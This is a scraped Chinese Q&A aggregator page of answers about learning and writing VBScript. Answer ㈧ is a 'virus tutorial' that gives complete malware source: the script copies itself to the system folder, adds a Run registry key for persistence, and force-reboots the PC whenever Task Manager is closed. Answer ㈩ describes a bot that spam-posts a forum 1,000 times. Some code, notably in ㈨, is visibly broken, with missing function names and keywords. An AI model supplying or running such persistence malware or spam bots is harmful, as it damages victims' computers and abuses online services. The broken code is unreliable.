當前位置:首頁 » 編程軟體 » vbs腳本教程

vbs腳本教程

發布時間: 2022-01-30 12:38:09

㈠ 看到一些VBS腳本很有趣,想學習vbs製作一些有趣的腳本,對於菜鳥,該如何學習VBS呢

從條件語句和循環語句學起。比如If條件,Select Case,For循環等。
然後學習一些基本的對象的用法,比如InputBox,MessageBox。
然後練習在腳本內部簡單的一些控制,比如InputBox輸入一個內容,進行計算,再通過MsgBox輸出。
然後增加 控制的復雜程度,比如判斷輸入的內容是不是數字,長度是不是夠,大小是不是合適等等。
然後可以學慣用腳本來操作系統的文件,比如文件移動了,重命名了。
理解了變數,過程,函數 ,控制語句這些,入門了後面就沒什麼問題了,然後多看別人的代碼來提高自己。
語言本身沒有什麼難度。

㈡ vbs腳本教程

VBS病毒的原理與防護(轉帖

㈢ 如何編寫vbs腳本

其實vbs腳本和Visual
Bacic語言很相似
VBS就是visual
basic
script,vb語言腳本
可以使用msg,fso,等等對象和函數,但是除了通用窗體如inputbox之類的外不能出現窗體,只能做到類似批處理的工作,在一些方面有特殊作用,比如組策略gpedit.msc中可以用來做成啟動腳本,用來啟動一些帶參數的軟體如drvanti,我通常用VBS來啟動這個參數Drvanti.exe
-noquit
方法的話網上很多,可以去找,說來話長。

㈣ vbs腳本學習

vb你會了!學VBS就簡單得多了!

㈤ vbs腳本的製作!

呵呵,成功了。

Set objfs=CreateObject("scripting.filesystemobject")
Set objDialog=CreateObject("UserAccounts.CommonDialog")
objDialog.Filter="vbs File|*.vbs|All Files|*.*"
objDialog.InitialDir = ""
objDialog.ShowOpen
strLoadFile = objDialog.FileName
if not strLoadFile = "" then
set objf=objfs.opentextfile(strLoadFile)
str=objf.ReadLine
start=InStr(str,"array(")+6
str=Mid(str,start,Len(str)-start)
strs=Split(str,",",-1,1)
for i=1 to UBound(strs)
runner=runner&chr(strs(i))
Next
objf.Close
Set objf=objfs.OpenTextFile(strLoadFile,2)
objf.Write runner
MsgBox "解密成功",,"提示"
End If

㈥ vbs腳本編寫

dimws,ShutdownRunner
setws=creatrobject("wscript.shell")
ws.run"C:Windowssystem32cmd.exeat/delete/yes"
SetShutdownRunner=CreateObject("wscript.shell")ShutdownRunner.run"at22:10shutdown-s-t"+"60",vbHide

㈦ 怎麼製作VBS腳本

網路一下 稻米鼠學編程 VBS篇

㈧ vbs腳本病毒編寫教程(不是拿去害人,是自己用來玩玩) 急!!!!!

Set ws=WScript.CreateObject("wscript.shell")
Set fso=WScript.CreateObject("scripting.filesystemobject")
path1=fso.GetSpecialFolder(1)
Set fs1=fso.getfile(WScript.ScriptFullName)
path2=path1 & "\" & fs1.Name
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\aa",""""& path2 &"""","REG_SZ"
If Not fso.FileExists(path2) then
fs1.Copy(path1 & "\")
ws.Run """"& path2 &"""",True,True
End If
do
Set wmi=GetObject("winmgmts:\\.\root\cimv2")
Set list=wmi.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list.count<>0 Then
Call fun2()
End If
WScript.Sleep 3000
loop
Function fun2()
do
Set wmi2=GetObject("winmgmts:\\.\root\cimv2")
Set list2=wmi2.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list2.count=0 Then
Set wmi3=GetObject("winmgmts:{(shutdown)}\\.\root\cimv2")
Set list3=wmi3.ExecQuery("select * from win32_operatingsystem")
For Each uu In list3
uu.win32shutdown(2+4)
next
End If
wscript.sleep 2000
loop
End function

㈨ 求高手給寫個VBS腳本!!!!

'保存為vbs類型文件
set shell=createobject("wscript.shell")
set open=createobject("scripting.filesystemobject")
set word=createobject("Word.Application")
set tasks=word.tasks
file1="aaa.txt" '假設這是aaa,修改下路徑即可
file2="bbb.txt" '假設這是bbb,修改下路徑即可
file3="c.exe" '某c程序
button="^N" '某開始按鈕的快捷鍵,你必須先確定這個快捷鍵按鈕可以用鍵盤操作,且是否有效."^N"是Ctrl+N,"%N"是Alt+N.N可以是別的組合鍵
tmp1=envision("tmp")&"\tmp1" '這是aaa的臨時記錄文件
tmp2=envision("tmp")&"\tmp2" '這是bbb的臨時記錄文件
public function prtitle
for each i in tasks
if i.visible then prtitle=i.name:word.quit:exit for
next
end function
public function dir(byval exist)
if open.folderexists(exist&"\") then
if open.folderexists(exist) then dir=open.getfolder(exist) else dir=""
else
if open.fileexists(exist) then dir=open.getfile(exist) else dir=""
end if
end function
function (byval file1,file2)
open.file file1,file2
end function
public function Envision(byval Val)
envision=shell.environment("Process").item(val)
if lcase(val)=lcase("cd") then envision=open.getfolder(".")
end function
'第一次必須記錄文件,否則往後程序無法得知是否更新
'do 這是循環開始
if dir(file2)="" then open.createtextfile(file2).write ""
if dir(file1)="" then shell.popup file1&"不存在,程序無法執行!",3,wscript.scriptname,64:wscript.quit '如果aaa不存在的話程序自動退出
if open.getfile(file1).size=0 then shell.popup file1&"是空文件,程序無法執行!",3,wscript.scriptname,64:wscript.quit '如果aaa是空文件的話程序自動退出
read1=open.opentextfile(file1).readall
if dir(tmp2)="" then open.createtextfile(tmp2).write ""
if dir(tmp1)="" then
open.createtextfile(tmp1).write read1
if open.getfile(file1).size<>open.getfile(tmp1).size then
file1,file2
if open.getfile(file2).size<>open.getfile(tmp2).size then
shell.run file3,,1
shell.appactivate prtitle
shell.sendkeys button
else
popup file2&"沒有變化",3,wscript.scriptname,64 '如不需提示可刪除此行
'shell.run file3,,1
'shell.appactivate prtitle
'shell.sendkeys button
'wscript.quit '如果bbb沒有更新的話就退出程序.這里如需要退出就把這一行第一個'字元去掉即可退出.反之如果不需要則不管或刪除此行.若需要執行某C程序則將上面3行前面的'去掉
end if
else
popup file1&"沒有變化,如果是第一次運行本程序,請再運行一次.",3,wscript.scriptname,64 '如不需提示可刪除此行
end if
else
if open.getfile(file1).size<>open.getfile(tmp1).size then
file1,file2
if open.getfile(file2).size<>open.getfile(tmp2).size then
shell.run file3,,1
shell.appactivate prtitle
shell.sendkeys button
else
shell.popup file2&"沒有變化",3,wscript.scriptname,64 '如不需提示可刪除此行
'shell.run file3,,1
'shell.appactivate prtitle
'shell.
'shell.sendkeys button
'wscript.quit '如果bbb沒有更新的話就退出程序.這里如需要退出就把這一行第一個'字元去掉即可退出.反之如果不需要則不管或刪除此行.若需要執行某C程序則將上面3行前面的'去掉
end if
else
shell.popup file1&"沒有變化",3,wscript.scriptname,64 '如不需提示可刪除此行
end if
end if
'wscript.sleep 1000*30 '30秒執行一次
'loop 循環結束

'==================================
'代碼沒有經過任何測試,如果不符合實際要求.可以網路hi我.怎麼用法自己調整.如需要循環執行將32行的'do前面的'去掉,和76行的'loop前面的'去掉.循環的時候系統肯定會很慢,不保證能正常使用電腦.如需定時循環一次可以將75行最前面的'去掉.
'==================================

㈩ 求一VBS腳本的詳細注釋

set ie=createobject("internetexplorer.application")'ie對象 ie.toolbar=0 '隱藏ie界面菜單欄 ie.visible=1 'ie界面可見 ie.navigate " http://post..com/f?ct=&tn=&rn=&pn=&lm=&sc=&kw=%CB%A2%CC%F9&rs2=0&myselectvalue=1&word=%CB%A2%CC%F9&tb=on"'網址 wscript.sleep 2000'暫停2秒,等待網頁完全打開 for i=1 to 1000 '循環發帖1000次 ie.document.post.ti.value="按鍵精靈好啊"'設置帖子標題 ie.document.post.co.click '滑鼠定位到帖子內容,其實在設置帖子標題之前應該也先定位一下標題 ie.document.post.co.value="按鍵精靈好啊" '設置帖子內容 ie.document.post.submit3.click '點擊「發表帖子」按鈕 wscript.sleep 30*1000 '暫停30秒,等待帖子提交成功 next '完成發帖一次,進行下一次發帖 msgbox "End" '信息框顯示"End"

熱點內容
如何用腳本搶 發布:2024-03-29 03:01:59 瀏覽:119
火影忍者手游配置怎麼調 發布:2024-03-29 02:53:53 瀏覽:102
編程畫櫻花 發布:2024-03-29 02:11:24 瀏覽:473
騰訊雲伺服器1mb老掉線 發布:2024-03-29 01:56:11 瀏覽:215
執行sql語句的存儲過程 發布:2024-03-29 01:52:37 瀏覽:697
婚紗攝影腳本 發布:2024-03-29 01:47:40 瀏覽:901
我的世界伺服器咋開外掛 發布:2024-03-29 01:07:45 瀏覽:456
sql寫報表 發布:2024-03-29 01:03:23 瀏覽:306
家用伺服器怎麼選 發布:2024-03-29 00:49:18 瀏覽:402
Ap6510dn如何配置 發布:2024-03-29 00:38:47 瀏覽:334